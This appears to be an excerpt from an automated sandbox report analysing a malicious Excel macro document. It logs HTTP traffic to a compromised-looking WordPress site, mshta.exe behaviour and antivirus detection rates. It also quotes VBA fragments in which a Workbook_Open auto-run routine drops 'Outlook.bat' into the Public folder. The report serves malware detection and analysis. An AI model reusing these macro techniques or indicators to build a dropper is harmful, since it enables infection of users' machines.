Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/main-style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.css?ver=1.5.8 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.js?ver=1.2.8.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/swfobject.js?ver=2.2-20120417 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/custom.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/flags/16/pt-br.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/css/style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/images/content_bg4.jpg HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/switcher.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/arrow_down.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js?ver=2.2.2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/images/up-arrow.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/js/custom-script.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/js/chart.min.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/wp-embed.min.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.22:49180 version: TLS 1.2

Source: C:\Windows\System32\mshta.exe

Windows user hook set: 0 mouse low level C:\Windows\system32\dinput8.dll

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Document contains an embedded VBA macro with suspicious strings

Source: SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls	OLE, VBA macro line: sFile = Environ("Public") & "\Outlook.bat"
Source: VBA code instrumentation	OLE, VBA macro: Module EstaPastaDeTrabalho, Function Workbook_Open, String environ: sFile = Environ("Public") & "\Outlook.bat"			Name: Workbook_Open

Source: SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls	OLE, VBA macro line: Private Sub Workbook_Open()
Source: VBA code instrumentation	OLE, VBA macro: Module EstaPastaDeTrabalho, Function Workbook_Open			Name: Workbook_Open

Source: SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls

OLE indicator, VBA macros: true

Source: SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls	Virustotal: Detection: 49%
Source: SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls	Metadefender: Detection: 29%
Source: SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls	ReversingLabs: Detection: 41%

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\cmd.exe	Console Write: ................(................................z .....................D......................... .............................................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................C.:.\.U.s.e.r.s.\.A.l.b.u.s.\.D.o.c.u.m.e.n.t.s.>..........I.... ..I....................2..................I....	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................c.a.l.l........./................................$.I............/...............................................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................ .g.e.t.C.m.d.P.i.d...b.a.t. ...........d.......c.a.l.l........... .............................................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................................i.d...b.................d.......c.a.l.l........... .............................................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ...................I....................................@c.I..... ......P................;.v....................................................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................................................z .....................D......................... .............................................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................C.:.\.U.s.e.r.s.\.A.l.b.u.s.\.D.o.c.u.m.e.n.t.s.>..........I.... ..I....................2..................I....	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................s.e.t.........../................................$.I............/...............................................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................ .P.I.D.=.1. ...........................d.......s.e.t............. .............................................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ........................................................................d.......s.e.t............. .............................................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ..................................................$.....................D......................... .............................................	Jump to behavior
